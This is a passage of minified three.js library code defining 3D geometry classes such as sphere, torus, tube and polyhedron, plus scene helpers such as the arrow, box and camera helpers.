n.Vector3;for(o=t*e.length*3,a=0,s=0;a<e.length;a++,s+=3)L.x=T[s+0],L.y=T[s+1],L.z=T[s+2],D.x=T[o+s+0],D.y=T[o+s+1],D.z=T[o+s+2],N.addVectors(L,D).normalize(),T[s+0]=T[o+s+0]=N.x,T[s+1]=T[o+s+1]=N.y,T[s+2]=T[o+s+2]=N.z}},n.LatheBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.LatheBufferGeometry.prototype.constructor=n.LatheBufferGeometry,n.LatheGeometry=function(e,t,i,r){n.Geometry.call(this),this.type="LatheGeometry",this.parameters={points:e,segments:t,phiStart:i,phiLength:r},this.fromBufferGeometry(new n.LatheBufferGeometry(e,t,i,r)),this.mergeVertices()},n.LatheGeometry.prototype=Object.create(n.Geometry.prototype),n.LatheGeometry.prototype.constructor=n.LatheGeometry,n.PlaneGeometry=function(e,t,i,r){n.Geometry.call(this),this.type="PlaneGeometry",this.parameters={width:e,height:t,widthSegments:i,heightSegments:r},this.fromBufferGeometry(new n.PlaneBufferGeometry(e,t,i,r))},n.PlaneGeometry.prototype=Object.create(n.Geometry.prototype),n.PlaneGeometry.prototype.constructor=n.PlaneGeometry,n.PlaneBufferGeometry=function(e,t,i,r){n.BufferGeometry.call(this),this.type="PlaneBufferGeometry",this.parameters={width:e,height:t,widthSegments:i,heightSegments:r};for(var o=e/2,a=t/2,s=Math.floor(i)||1,c=Math.floor(r)||1,u=s+1,l=c+1,h=e/s,d=t/c,p=new Float32Array(u*l*3),f=new Float32Array(u*l*3),m=new Float32Array(u*l*2),g=0,v=0,y=0;l>y;y++)for(var M=y*d-a,A=0;u>A;A++){var x=A*h-o;p[g]=x,p[g+1]=-M,f[g+2]=1,m[v]=A/s,m[v+1]=1-y/c,g+=3,v+=2}g=0;for(var w=new(p.length/3>65535?Uint32Array:Uint16Array)(s*c*6),y=0;c>y;y++)for(var A=0;s>A;A++){var E=A+u*y,b=A+u*(y+1),T=A+1+u*(y+1),L=A+1+u*y;w[g]=E,w[g+1]=b,w[g+2]=L,w[g+3]=b,w[g+4]=T,w[g+5]=L,g+=6}this.setIndex(new n.BufferAttribute(w,1)),this.addAttribute("position",new n.BufferAttribute(p,3)),this.addAttribute("normal",new n.BufferAttribute(f,3)),this.addAttribute("uv",new n.BufferAttribute(m,2))},n.PlaneBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.PlaneBufferGeometry.prototype.constructor=n.PlaneBufferGeometry,n.RingBufferGeometry=function(e,t,i,r,o,a){n.BufferGeometry.call(this),this.type="RingBufferGeometry",this.parameters={innerRadius:e,outerRadius:t,thetaSegments:i,phiSegments:r,thetaStart:o,thetaLength:a},e=e||20,t=t||50,o=void 0!==o?o:0,a=void 0!==a?a:2*Math.PI,i=void 0!==i?Math.max(3,i):8,r=void 0!==r?Math.max(1,r):1;var s,c,u,l=(i+1)*(r+1),h=i*r*2*3,d=new n.BufferAttribute(new(h>65535?Uint32Array:Uint16Array)(h),1),p=new n.BufferAttribute(new Float32Array(3*l),3),f=new n.BufferAttribute(new Float32Array(3*l),3),m=new n.BufferAttribute(new Float32Array(2*l),2),g=0,v=0,y=e,M=(t-e)/r,A=new n.Vector3,x=new n.Vector2;for(c=0;r>=c;c++){for(u=0;i>=u;u++)s=o+u/i*a,A.x=y*Math.cos(s),A.y=y*Math.sin(s),p.setXYZ(g,A.x,A.y,A.z),f.setXYZ(g,0,0,1),x.x=(A.x/t+1)/2,x.y=(A.y/t+1)/2,m.setXY(g,x.x,x.y),g++;y+=M}for(c=0;r>c;c++){var w=c*(i+1);for(u=0;i>u;u++){s=u+w;var E=s,b=s+i+1,T=s+i+2,L=s+1;d.setX(v,E),v++,d.setX(v,b),v++,d.setX(v,T),v++,d.setX(v,E),v++,d.setX(v,T),v++,d.setX(v,L),v++}}this.setIndex(d),this.addAttribute("position",p),this.addAttribute("normal",f),this.addAttribute("uv",m)},n.RingBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.RingBufferGeometry.prototype.constructor=n.RingBufferGeometry,n.RingGeometry=function(e,t,i,r,o,a){n.Geometry.call(this),this.type="RingGeometry",this.parameters={innerRadius:e,outerRadius:t,thetaSegments:i,phiSegments:r,thetaStart:o,thetaLength:a},this.fromBufferGeometry(new n.RingBufferGeometry(e,t,i,r,o,a))},n.RingGeometry.prototype=Object.create(n.Geometry.prototype),n.RingGeometry.prototype.constructor=n.RingGeometry,n.SphereGeometry=function(e,t,i,r,o,a,s){n.Geometry.call(this),this.type="SphereGeometry",this.parameters={radius:e,widthSegments:t,heightSegments:i,phiStart:r,phiLength:o,thetaStart:a,thetaLength:s},this.fromBufferGeometry(new n.SphereBufferGeometry(e,t,i,r,o,a,s))},n.SphereGeometry.prototype=Object.create(n.Geometry.prototype),n.SphereGeometry.prototype.constructor=n.SphereGeometry,n.SphereBufferGeometry=function(e,t,i,r,o,a,s){n.BufferGeometry.call(this),this.type="SphereBufferGeometry",this.parameters={radius:e,widthSegments:t,heightSegments:i,phiStart:r,phiLength:o,thetaStart:a,thetaLength:s},e=e||50,t=Math.max(3,Math.floor(t)||8),i=Math.max(2,Math.floor(i)||6),r=void 0!==r?r:0,o=void 0!==o?o:2*Math.PI,a=void 0!==a?a:0,s=void 0!==s?s:Math.PI;for(var c=a+s,u=(t+1)*(i+1),l=new n.BufferAttribute(new Float32Array(3*u),3),h=new n.BufferAttribute(new Float32Array(3*u),3),d=new n.BufferAttribute(new Float32Array(2*u),2),p=0,f=[],m=new n.Vector3,g=0;i>=g;g++){for(var v=[],y=g/i,M=0;t>=M;M++){var A=M/t,x=-e*Math.cos(r+A*o)*Math.sin(a+y*s),w=e*Math.cos(a+y*s),E=e*Math.sin(r+A*o)*Math.sin(a+y*s);m.set(x,w,E).normalize(),l.setXYZ(p,x,w,E),h.setXYZ(p,m.x,m.y,m.z),d.setXY(p,A,1-y),v.push(p),p++}f.push(v)}for(var b=[],g=0;i>g;g++)for(var M=0;t>M;M++){var T=f[g][M+1],L=f[g][M],D=f[g+1][M],N=f[g+1][M+1];(0!==g||a>0)&&b.push(T,L,N),(g!==i-1||c<Math.PI)&&b.push(L,D,N)}this.setIndex(new(l.count>65535?n.Uint32Attribute:n.Uint16Attribute)(b,1)),this.addAttribute("position",l),this.addAttribute("normal",h),this.addAttribute("uv",d),this.boundingSphere=new n.Sphere(new n.Vector3,e)},n.SphereBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.SphereBufferGeometry.prototype.constructor=n.SphereBufferGeometry,n.TextGeometry=function(e,t){t=t||{};var i=t.font;if(i instanceof n.Font==!1)return console.error("THREE.TextGeometry: font parameter is not an instance of THREE.Font."),new n.Geometry;var r=i.generateShapes(e,t.size,t.curveSegments);t.amount=void 0!==t.height?t.height:50,
void 0===t.bevelThickness&&(t.bevelThickness=10),void 0===t.bevelSize&&(t.bevelSize=8),void 0===t.bevelEnabled&&(t.bevelEnabled=!1),n.ExtrudeGeometry.call(this,r,t),this.type="TextGeometry"},n.TextGeometry.prototype=Object.create(n.ExtrudeGeometry.prototype),n.TextGeometry.prototype.constructor=n.TextGeometry,n.TorusBufferGeometry=function(e,t,i,r,o){n.BufferGeometry.call(this),this.type="TorusBufferGeometry",this.parameters={radius:e,tube:t,radialSegments:i,tubularSegments:r,arc:o},e=e||100,t=t||40,i=Math.floor(i)||8,r=Math.floor(r)||6,o=o||2*Math.PI;var a,s,c=(i+1)*(r+1),u=i*r*2*3,l=new(u>65535?Uint32Array:Uint16Array)(u),h=new Float32Array(3*c),d=new Float32Array(3*c),p=new Float32Array(2*c),f=0,m=0,g=0,v=new n.Vector3,y=new n.Vector3,M=new n.Vector3;for(a=0;i>=a;a++)for(s=0;r>=s;s++){var A=s/r*o,x=a/i*Math.PI*2;y.x=(e+t*Math.cos(x))*Math.cos(A),y.y=(e+t*Math.cos(x))*Math.sin(A),y.z=t*Math.sin(x),h[f]=y.x,h[f+1]=y.y,h[f+2]=y.z,v.x=e*Math.cos(A),v.y=e*Math.sin(A),M.subVectors(y,v).normalize(),d[f]=M.x,d[f+1]=M.y,d[f+2]=M.z,p[m]=s/r,p[m+1]=a/i,f+=3,m+=2}for(a=1;i>=a;a++)for(s=1;r>=s;s++){var w=(r+1)*a+s-1,E=(r+1)*(a-1)+s-1,b=(r+1)*(a-1)+s,T=(r+1)*a+s;l[g]=w,l[g+1]=E,l[g+2]=T,l[g+3]=E,l[g+4]=b,l[g+5]=T,g+=6}this.setIndex(new n.BufferAttribute(l,1)),this.addAttribute("position",new n.BufferAttribute(h,3)),this.addAttribute("normal",new n.BufferAttribute(d,3)),this.addAttribute("uv",new n.BufferAttribute(p,2))},n.TorusBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.TorusBufferGeometry.prototype.constructor=n.TorusBufferGeometry,n.TorusGeometry=function(e,t,i,r,o){n.Geometry.call(this),this.type="TorusGeometry",this.parameters={radius:e,tube:t,radialSegments:i,tubularSegments:r,arc:o},this.fromBufferGeometry(new n.TorusBufferGeometry(e,t,i,r,o))},n.TorusGeometry.prototype=Object.create(n.Geometry.prototype),n.TorusGeometry.prototype.constructor=n.TorusGeometry,n.TorusKnotBufferGeometry=function(e,t,i,r,o,a){function s(e,t,i,r,n){var o=Math.cos(e),a=Math.sin(e),s=i/t*e,c=Math.cos(s);n.x=r*(2+c)*.5*o,n.y=r*(2+c)*a*.5,n.z=r*Math.sin(s)*.5}n.BufferGeometry.call(this),this.type="TorusKnotBufferGeometry",this.parameters={radius:e,tube:t,tubularSegments:i,radialSegments:r,p:o,q:a},e=e||100,t=t||40,i=Math.floor(i)||64,r=Math.floor(r)||8,o=o||2,a=a||3;var c,u,l=(r+1)*(i+1),h=r*i*2*3,d=new n.BufferAttribute(new(h>65535?Uint32Array:Uint16Array)(h),1),p=new n.BufferAttribute(new Float32Array(3*l),3),f=new n.BufferAttribute(new Float32Array(3*l),3),m=new n.BufferAttribute(new Float32Array(2*l),2),g=0,v=0,y=new n.Vector3,M=new n.Vector3,A=new n.Vector2,x=new n.Vector3,w=new n.Vector3,E=new n.Vector3,b=new n.Vector3,T=new n.Vector3;for(c=0;i>=c;++c){var L=c/i*o*Math.PI*2;for(s(L,o,a,e,x),s(L+.01,o,a,e,w),b.subVectors(w,x),T.addVectors(w,x),E.crossVectors(b,T),T.crossVectors(E,b),E.normalize(),T.normalize(),u=0;r>=u;++u){var D=u/r*Math.PI*2,N=-t*Math.cos(D),S=t*Math.sin(D);y.x=x.x+(N*T.x+S*E.x),y.y=x.y+(N*T.y+S*E.y),y.z=x.z+(N*T.z+S*E.z),p.setXYZ(g,y.x,y.y,y.z),M.subVectors(y,x).normalize(),f.setXYZ(g,M.x,M.y,M.z),A.x=c/i,A.y=u/r,m.setXY(g,A.x,A.y),g++}}for(u=1;i>=u;u++)for(c=1;r>=c;c++){var C=(r+1)*(u-1)+(c-1),I=(r+1)*u+(c-1),j=(r+1)*u+c,_=(r+1)*(u-1)+c;d.setX(v,C),v++,d.setX(v,I),v++,d.setX(v,_),v++,d.setX(v,I),v++,d.setX(v,j),v++,d.setX(v,_),v++}this.setIndex(d),this.addAttribute("position",p),this.addAttribute("normal",f),this.addAttribute("uv",m)},n.TorusKnotBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.TorusKnotBufferGeometry.prototype.constructor=n.TorusKnotBufferGeometry,n.TorusKnotGeometry=function(e,t,i,r,o,a,s){n.Geometry.call(this),this.type="TorusKnotGeometry",this.parameters={radius:e,tube:t,tubularSegments:i,radialSegments:r,p:o,q:a},void 0!==s&&console.warn("THREE.TorusKnotGeometry: heightScale has been deprecated. Use .scale( x, y, z ) instead."),this.fromBufferGeometry(new n.TorusKnotBufferGeometry(e,t,i,r,o,a)),this.mergeVertices()},n.TorusKnotGeometry.prototype=Object.create(n.Geometry.prototype),n.TorusKnotGeometry.prototype.constructor=n.TorusKnotGeometry,n.TubeGeometry=function(e,t,i,r,o,a){function s(e,t,i){return C.vertices.push(new n.Vector3(e,t,i))-1}n.Geometry.call(this),this.type="TubeGeometry",this.parameters={path:e,segments:t,radius:i,radialSegments:r,closed:o,taper:a},t=t||64,i=i||1,r=r||8,o=o||!1,a=a||n.TubeGeometry.NoTaper;var c,u,l,h,d,p,f,m,g,v,y,M,A,x,w,E,b,T,L,D,N,S=[],C=this,I=t+1,j=new n.Vector3,_=new n.TubeGeometry.FrenetFrames(e,t,o),O=_.tangents,z=_.normals,k=_.binormals;for(this.tangents=O,this.normals=z,this.binormals=k,v=0;I>v;v++)for(S[v]=[],h=v/(I-1),g=e.getPointAt(h),c=O[v],u=z[v],l=k[v],p=i*a(h),y=0;r>y;y++)d=y/r*2*Math.PI,f=-p*Math.cos(d),m=p*Math.sin(d),j.copy(g),j.x+=f*u.x+m*l.x,j.y+=f*u.y+m*l.y,j.z+=f*u.z+m*l.z,S[v][y]=s(j.x,j.y,j.z);for(v=0;t>v;v++)for(y=0;r>y;y++)M=o?(v+1)%t:v+1,A=(y+1)%r,x=S[v][y],w=S[M][y],E=S[M][A],b=S[v][A],T=new n.Vector2(v/t,y/r),L=new n.Vector2((v+1)/t,y/r),D=new n.Vector2((v+1)/t,(y+1)/r),N=new n.Vector2(v/t,(y+1)/r),this.faces.push(new n.Face3(x,w,b)),this.faceVertexUvs[0].push([T,L,N]),this.faces.push(new n.Face3(w,E,b)),this.faceVertexUvs[0].push([L.clone(),D,N.clone()]);this.computeFaceNormals(),this.computeVertexNormals()},n.TubeGeometry.prototype=Object.create(n.Geometry.prototype),n.TubeGeometry.prototype.constructor=n.TubeGeometry,n.TubeGeometry.NoTaper=function(){return 1},n.TubeGeometry.SinusoidalTaper=function(e){return Math.sin(Math.PI*e)},n.TubeGeometry.FrenetFrames=function(e,t,i){function r(){f[0]=new n.Vector3,m[0]=new n.Vector3,a=Number.MAX_VALUE,s=Math.abs(p[0].x),c=Math.abs(p[0].y),u=Math.abs(p[0].z),a>=s&&(a=s,d.set(1,0,0)),a>=c&&(a=c,d.set(0,1,0)),a>=u&&d.set(0,0,1),g.crossVectors(p[0],d).normalize(),f[0].crossVectors(p[0],g),m[0].crossVectors(p[0],f[0])}var o,a,s,c,u,l,h,d=new n.Vector3,p=[],f=[],m=[],g=new n.Vector3,v=new n.Matrix4,y=t+1;for(this.tangents=p,this.normals=f,this.binormals=m,l=0;y>l;l++)h=l/(y-1),p[l]=e.getTangentAt(h),p[l].normalize();for(r(),l=1;y>l;l++)f[l]=f[l-1].clone(),m[l]=m[l-1].clone(),g.crossVectors(p[l-1],p[l]),g.length()>Number.EPSILON&&(g.normalize(),o=Math.acos(n.Math.clamp(p[l-1].dot(p[l]),-1,1)),f[l].applyMatrix4(v.makeRotationAxis(g,o))),m[l].crossVectors(p[l],f[l]);if(i)for(o=Math.acos(n.Math.clamp(f[0].dot(f[y-1]),-1,1)),o/=y-1,p[0].dot(g.crossVectors(f[0],f[y-1]))>0&&(o=-o),l=1;y>l;l++)f[l].applyMatrix4(v.makeRotationAxis(p[l],o*l)),m[l].crossVectors(p[l],f[l])},n.PolyhedronGeometry=function(e,t,i,r){function o(e){var t=e.normalize().clone();t.index=h.vertices.push(t)-1;var i=c(e)/2/Math.PI+.5,r=u(e)/Math.PI+.5;return t.uv=new n.Vector2(i,1-r),t}function a(e,t,i,r){var o=new n.Face3(e.index,t.index,i.index,[e.clone(),t.clone(),i.clone()],void 0,r);h.faces.push(o),A.copy(e).add(t).add(i).divideScalar(3);var a=c(A);h.faceVertexUvs[0].push([l(e.uv,e,a),l(t.uv,t,a),l(i.uv,i,a)])}function s(e,t){for(var i=Math.pow(2,t),r=o(h.vertices[e.a]),n=o(h.vertices[e.b]),s=o(h.vertices[e.c]),c=[],u=e.materialIndex,l=0;i>=l;l++){c[l]=[];for(var d=o(r.clone().lerp(s,l/i)),p=o(n.clone().lerp(s,l/i)),f=i-l,m=0;f>=m;m++)c[l][m]=0===m&&l===i?d:o(d.clone().lerp(p,m/f))}for(var l=0;i>l;l++)for(var m=0;2*(i-l)-1>m;m++){var g=Math.floor(m/2);m%2===0?a(c[l][g+1],c[l+1][g],c[l][g],u):a(c[l][g+1],c[l+1][g+1],c[l+1][g],u)}}function c(e){return Math.atan2(e.z,-e.x)}function u(e){return Math.atan2(-e.y,Math.sqrt(e.x*e.x+e.z*e.z))}function l(e,t,i){return 0>i&&1===e.x&&(e=new n.Vector2(e.x-1,e.y)),0===t.x&&0===t.z&&(e=new n.Vector2(i/2/Math.PI+.5,e.y)),e.clone()}n.Geometry.call(this),this.type="PolyhedronGeometry",this.parameters={vertices:e,indices:t,radius:i,detail:r},i=i||1,r=r||0;for(var h=this,d=0,p=e.length;p>d;d+=3)o(new n.Vector3(e[d],e[d+1],e[d+2]));for(var f=this.vertices,m=[],d=0,g=0,p=t.length;p>d;d+=3,g++){var v=f[t[d]],y=f[t[d+1]],M=f[t[d+2]];m[g]=new n.Face3(v.index,y.index,M.index,[v.clone(),y.clone(),M.clone()],void 0,g)}for(var A=new n.Vector3,d=0,p=m.length;p>d;d++)s(m[d],r);for(var d=0,p=this.faceVertexUvs[0].length;p>d;d++){var x=this.faceVertexUvs[0][d],w=x[0].x,E=x[1].x,b=x[2].x,T=Math.max(w,E,b),L=Math.min(w,E,b);T>.9&&.1>L&&(.2>w&&(x[0].x+=1),.2>E&&(x[1].x+=1),.2>b&&(x[2].x+=1))}for(var d=0,p=this.vertices.length;p>d;d++)this.vertices[d].multiplyScalar(i);this.mergeVertices(),this.computeFaceNormals(),this.boundingSphere=new n.Sphere(new n.Vector3,i)},n.PolyhedronGeometry.prototype=Object.create(n.Geometry.prototype),n.PolyhedronGeometry.prototype.constructor=n.PolyhedronGeometry,n.DodecahedronGeometry=function(e,t){var i=(1+Math.sqrt(5))/2,r=1/i,o=[-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,1,1,0,-r,-i,0,-r,i,0,r,-i,0,r,i,-r,-i,0,-r,i,0,r,-i,0,r,i,0,-i,0,-r,i,0,-r,-i,0,r,i,0,r],a=[3,11,7,3,7,15,3,15,13,7,19,17,7,17,6,7,6,15,17,4,8,17,8,10,17,10,6,8,0,16,8,16,2,8,2,10,0,12,1,0,1,18,0,18,16,6,10,2,6,2,13,6,13,15,2,16,18,2,18,3,2,3,13,18,1,9,18,9,11,18,11,3,4,14,12,4,12,0,4,0,8,11,9,5,11,5,19,11,19,7,19,5,14,19,14,4,19,4,17,1,12,14,1,14,5,1,5,9];n.PolyhedronGeometry.call(this,o,a,e,t),this.type="DodecahedronGeometry",this.parameters={radius:e,detail:t}},n.DodecahedronGeometry.prototype=Object.create(n.PolyhedronGeometry.prototype),n.DodecahedronGeometry.prototype.constructor=n.DodecahedronGeometry,n.IcosahedronGeometry=function(e,t){var i=(1+Math.sqrt(5))/2,r=[-1,i,0,1,i,0,-1,-i,0,1,-i,0,0,-1,i,0,1,i,0,-1,-i,0,1,-i,i,0,-1,i,0,1,-i,0,-1,-i,0,1],o=[0,11,5,0,5,1,0,1,7,0,7,10,0,10,11,1,5,9,5,11,4,11,10,2,10,7,6,7,1,8,3,9,4,3,4,2,3,2,6,3,6,8,3,8,9,4,9,5,2,4,11,6,2,10,8,6,7,9,8,1];n.PolyhedronGeometry.call(this,r,o,e,t),this.type="IcosahedronGeometry",this.parameters={radius:e,detail:t}},n.IcosahedronGeometry.prototype=Object.create(n.PolyhedronGeometry.prototype),n.IcosahedronGeometry.prototype.constructor=n.IcosahedronGeometry,n.OctahedronGeometry=function(e,t){var i=[1,0,0,-1,0,0,0,1,0,0,-1,0,0,0,1,0,0,-1],r=[0,2,4,0,4,3,0,3,5,0,5,2,1,2,5,1,5,3,1,3,4,1,4,2];n.PolyhedronGeometry.call(this,i,r,e,t),this.type="OctahedronGeometry",this.parameters={radius:e,detail:t}},n.OctahedronGeometry.prototype=Object.create(n.PolyhedronGeometry.prototype),n.OctahedronGeometry.prototype.constructor=n.OctahedronGeometry,n.TetrahedronGeometry=function(e,t){var i=[1,1,1,-1,-1,1,-1,1,-1,1,-1,-1],r=[2,1,0,0,3,2,1,3,0,2,3,1];n.PolyhedronGeometry.call(this,i,r,e,t),this.type="TetrahedronGeometry",this.parameters={radius:e,detail:t}},n.TetrahedronGeometry.prototype=Object.create(n.PolyhedronGeometry.prototype),n.TetrahedronGeometry.prototype.constructor=n.TetrahedronGeometry,n.ParametricGeometry=function(e,t,i){n.Geometry.call(this),this.type="ParametricGeometry",this.parameters={func:e,slices:t,stacks:i};var r,o,a,s,c,u=this.vertices,l=this.faces,h=this.faceVertexUvs[0],d=t+1;for(r=0;i>=r;r++)for(c=r/i,o=0;t>=o;o++)s=o/t,a=e(s,c),u.push(a);var p,f,m,g,v,y,M,A;for(r=0;i>r;r++)for(o=0;t>o;o++)p=r*d+o,f=r*d+o+1,m=(r+1)*d+o+1,g=(r+1)*d+o,v=new n.Vector2(o/t,r/i),y=new n.Vector2((o+1)/t,r/i),M=new n.Vector2((o+1)/t,(r+1)/i),A=new n.Vector2(o/t,(r+1)/i),l.push(new n.Face3(p,f,g)),h.push([v,y,A]),l.push(new n.Face3(f,m,g)),h.push([y.clone(),M,A.clone()]);this.computeFaceNormals(),this.computeVertexNormals()},n.ParametricGeometry.prototype=Object.create(n.Geometry.prototype),n.ParametricGeometry.prototype.constructor=n.ParametricGeometry,n.WireframeGeometry=function(e){function t(e,t){return e-t}n.BufferGeometry.call(this);var i=[0,0],r={},o=["a","b","c"];if(e instanceof n.Geometry){for(var a=e.vertices,s=e.faces,c=0,u=new Uint32Array(6*s.length),l=0,h=s.length;h>l;l++)for(var d=s[l],p=0;3>p;p++){i[0]=d[o[p]],i[1]=d[o[(p+1)%3]],i.sort(t);var f=i.toString();void 0===r[f]&&(u[2*c]=i[0],u[2*c+1]=i[1],r[f]=!0,c++)}for(var m=new Float32Array(2*c*3),l=0,h=c;h>l;l++)for(var p=0;2>p;p++){var g=a[u[2*l+p]],v=6*l+3*p;m[v+0]=g.x,m[v+1]=g.y,m[v+2]=g.z}this.addAttribute("position",new n.BufferAttribute(m,3))}else if(e instanceof n.BufferGeometry)if(null!==e.index){var y=e.index.array,a=e.attributes.position,M=e.groups,c=0;0===M.length&&e.addGroup(0,y.length);for(var u=new Uint32Array(2*y.length),A=0,x=M.length;x>A;++A)for(var w=M[A],E=w.start,b=w.count,l=E,T=E+b;T>l;l+=3)for(var p=0;3>p;p++){i[0]=y[l+p],i[1]=y[l+(p+1)%3],i.sort(t);var f=i.toString();void 0===r[f]&&(u[2*c]=i[0],u[2*c+1]=i[1],r[f]=!0,c++)}for(var m=new Float32Array(2*c*3),l=0,h=c;h>l;l++)for(var p=0;2>p;p++){var v=6*l+3*p,L=u[2*l+p];m[v+0]=a.getX(L),m[v+1]=a.getY(L),m[v+2]=a.getZ(L)}this.addAttribute("position",new n.BufferAttribute(m,3))}else{for(var a=e.attributes.position.array,c=a.length/3,D=c/3,m=new Float32Array(2*c*3),l=0,h=D;h>l;l++)for(var p=0;3>p;p++){var v=18*l+6*p,N=9*l+3*p;m[v+0]=a[N],m[v+1]=a[N+1],m[v+2]=a[N+2];var L=9*l+3*((p+1)%3);m[v+3]=a[L],m[v+4]=a[L+1],m[v+5]=a[L+2]}this.addAttribute("position",new n.BufferAttribute(m,3))}},n.WireframeGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.WireframeGeometry.prototype.constructor=n.WireframeGeometry,n.AxisHelper=function(e){e=e||1;var t=new Float32Array([0,0,0,e,0,0,0,0,0,0,e,0,0,0,0,0,0,e]),i=new Float32Array([1,0,0,1,.6,0,0,1,0,.6,1,0,0,0,1,0,.6,1]),r=new n.BufferGeometry;r.addAttribute("position",new n.BufferAttribute(t,3)),r.addAttribute("color",new n.BufferAttribute(i,3));var o=new n.LineBasicMaterial({vertexColors:n.VertexColors});n.LineSegments.call(this,r,o)},n.AxisHelper.prototype=Object.create(n.LineSegments.prototype),n.AxisHelper.prototype.constructor=n.AxisHelper,n.ArrowHelper=function(){var e=new n.Geometry;e.vertices.push(new n.Vector3(0,0,0),new n.Vector3(0,1,0));var t=new n.CylinderGeometry(0,.5,1,5,1);return t.translate(0,-.5,0),function(i,r,o,a,s,c){n.Object3D.call(this),void 0===a&&(a=16776960),void 0===o&&(o=1),void 0===s&&(s=.2*o),void 0===c&&(c=.2*s),this.position.copy(r),this.line=new n.Line(e,new n.LineBasicMaterial({color:a})),this.line.matrixAutoUpdate=!1,this.add(this.line),this.cone=new n.Mesh(t,new n.MeshBasicMaterial({color:a})),this.cone.matrixAutoUpdate=!1,this.add(this.cone),this.setDirection(i),this.setLength(o,s,c)}}(),n.ArrowHelper.prototype=Object.create(n.Object3D.prototype),n.ArrowHelper.prototype.constructor=n.ArrowHelper,n.ArrowHelper.prototype.setDirection=function(){var e,t=new n.Vector3;return function(i){i.y>.99999?this.quaternion.set(0,0,0,1):i.y<-.99999?this.quaternion.set(1,0,0,0):(t.set(i.z,0,-i.x).normalize(),e=Math.acos(i.y),this.quaternion.setFromAxisAngle(t,e))}}(),n.ArrowHelper.prototype.setLength=function(e,t,i){void 0===t&&(t=.2*e),void 0===i&&(i=.2*t),this.line.scale.set(1,Math.max(0,e-t),1),this.line.updateMatrix(),this.cone.scale.set(i,t,i),this.cone.position.y=e,this.cone.updateMatrix()},n.ArrowHelper.prototype.setColor=function(e){this.line.material.color.set(e),this.cone.material.color.set(e)},n.BoxHelper=function(e){var t=new Uint16Array([0,1,1,2,2,3,3,0,4,5,5,6,6,7,7,4,0,4,1,5,2,6,3,7]),i=new Float32Array(24),r=new n.BufferGeometry;r.setIndex(new n.BufferAttribute(t,1)),r.addAttribute("position",new n.BufferAttribute(i,3)),n.LineSegments.call(this,r,new n.LineBasicMaterial({color:16776960})),void 0!==e&&this.update(e)},n.BoxHelper.prototype=Object.create(n.LineSegments.prototype),n.BoxHelper.prototype.constructor=n.BoxHelper,n.BoxHelper.prototype.update=function(){var e=new n.Box3;return function(t){if(t instanceof n.Box3?e.copy(t):e.setFromObject(t),!e.isEmpty()){var i=e.min,r=e.max,o=this.geometry.attributes.position,a=o.array;a[0]=r.x,a[1]=r.y,a[2]=r.z,a[3]=i.x,a[4]=r.y,a[5]=r.z,a[6]=i.x,a[7]=i.y,a[8]=r.z,a[9]=r.x,a[10]=i.y,a[11]=r.z,a[12]=r.x,a[13]=r.y,a[14]=i.z,a[15]=i.x,a[16]=r.y,a[17]=i.z,a[18]=i.x,a[19]=i.y,a[20]=i.z,a[21]=r.x,a[22]=i.y,a[23]=i.z,o.needsUpdate=!0,this.geometry.computeBoundingSphere()}}}(),n.BoundingBoxHelper=function(e,t){var i=void 0!==t?t:8947848;this.object=e,this.box=new n.Box3,n.Mesh.call(this,new n.BoxGeometry(1,1,1),new n.MeshBasicMaterial({color:i,wireframe:!0}))},n.BoundingBoxHelper.prototype=Object.create(n.Mesh.prototype),n.BoundingBoxHelper.prototype.constructor=n.BoundingBoxHelper,n.BoundingBoxHelper.prototype.update=function(){this.box.setFromObject(this.object),this.box.size(this.scale),this.box.center(this.position)},n.CameraHelper=function(e){function t(e,t,r){i(e,r),i(t,r)}function i(e,t){r.vertices.push(new n.Vector3),r.colors.push(new n.Color(t)),void 0===a[e]&&(a[e]=[]),a[e].push(r.vertices.length-1)}var r=new n.Geometry,o=new n.LineBasicMaterial({color:16777215,vertexColors:n.FaceColors}),a={},s=16755200,c=16711680,u=43775,l=16777215,h=3355443;t("n1","n2",s),t("n2","n4",s),t("n4","n3",s),t("n3","n1",s),t("f1","f2",s),t("f2","f4",s),t("f4","f3",s),t("f3","f1",s),t("n1","f1",s),t("n2","f2",s),t("n3","f3",s),t("n4","f4",s),t("p","n1",c),t("p","n2",c),t("p","n3",c),t("p","n4",c),t("u1","u2",u),t("u2","u3",u),t("u3","u1",u),t("c","t",l),t("p","c",h),t("cn1","cn2",h),t("cn3","cn4",h),t("cf1","cf2",h),t("cf3","cf4",h),n.LineSegments.call(this,r,o),this.camera=e,this.camera.updateProjectionMatrix(),this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1,this.pointMap=a,this.update()},n.CameraHelper.prototype=Object.create(n.LineSegments.prototype),n.CameraHelper.prototype.constructor=n.CameraHelper,n.CameraHelper.prototype.update=function(){function e(e,n,a,s){r.set(n,a,s).unproject(o);var c=i[e];if(void 0!==c)for(var u=0,l=c.length;l>u;u++)t.vertices[c[u]].copy(r)}var t,i,r=new n.Vector3,o=new n.Camera;return function(){t=this.geometry,i=this.pointMap;var r=1,n=1;o.projectionMatrix.copy(this.camera.projectionMatrix),e("c",0,0,-1),e("t",0,0,1),e("n1",-r,-n,-1),e("n2",r,-n,-1),e("n3",-r,n,-1),e("n4",r,n,-1),e("f1",-r,-n,1),e("f2",r,-n,1),e("f3",-r,n,1),e("f4",r,n,1),e("u1",.7*r,1.1*n,-1),e("u2",.7*-r,1.1*n,-1),e("u3",0,2*n,-1),e("cf1",-r,0,1),e("cf2",r,0,1),e("cf3",0,-n,1),e("cf4",0,n,1),e("cn1",-r,0,-1),e("cn2",r,0,-1),e("cn3",0,-n,-1),e("cn4",0,n,-1),t.verticesNeedUpdate=!0}}(),n.DirectionalLightHelper=function(e,t){n.Object3D.call(this),this.light=e,this.light.updateMatrixWorld(),this.matrix=e.matrixWorld,this.matrixAutoUpdate=!1,t=t||1;var i=new n.Geometry;i.vertices.push(new n.Vector3(-t,t,0),new n.Vector3(t,t,0),new n.Vector3(t,-t,0),new n.Vector3(-t,-t,0),new n.Vector3(-t,t,0));var r=new n.LineBasicMaterial({fog:!1});r.color.copy(this.light.color).multiplyScalar(this.light.intensity),this.lightPlane=new n.Line(i,r),this.add(this.lightPlane),i=new 